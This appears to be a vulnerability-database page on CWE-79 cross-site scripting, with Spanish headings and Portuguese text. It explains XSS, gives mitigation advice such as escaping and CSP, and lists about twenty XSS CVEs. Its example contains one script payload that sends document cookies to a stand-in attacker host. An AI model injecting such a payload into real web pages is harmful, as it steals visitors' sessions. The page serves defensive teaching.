Fallos del tipo CWE-79

29.906 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-3965MEDIUMitwanger paicoding post cross site scriptingEPSS 0.4%CVE-2026-75711MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2026-38469MEDIUMA Stored XSS vulnerability in the custom bonus title feature in GazellePW (GazellePosterWall) commit 86c4bedf727691b5a97af42a4864869d1844644EPSS 0.4%CVE-2026-48257MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2026-75678MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2024-29816MEDIUMWordPress Woo Viet plugin <= 1.5.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-63588HIGHAn unauthenticated reflected cross-site scripting vulnerability in the query handling of CMSimpleXH allows remote attackers to inject and exEPSS 0.4%CVE-2024-29815MEDIUMWordPress WP Change Email Sender plugin < 1.3.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-4803HIGHRoyal Addons for Elementor <= 1.7.1056 - Unauthenticated Stored Cross-Site Scripting via 'status' Parameter in wpr_update_form_action_metaEPSS 0.4%CVE-2026-75647MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2024-36236MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2025-11390MEDIUMPHPGurukul Cyber Cafe Management System POST Parameter search.php cross site scriptingEPSS 0.4%CVE-2026-75715MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2024-30444MEDIUMWordPress WordPress Page Builder – Zion Builder plugin <= 3.6.9 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-22283HIGHWordPress GetSocial Plugin <= 2.0.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-75719MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2026-19644MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2026-75660MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2023-46200MEDIUMWordPress Smart App Banner Plugin <= 1.1.3 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2025-7144MEDIUMSourceCodester Best Salon Management System Admin Profile Page admin-profile.php cross site scriptingEPSS 0.4%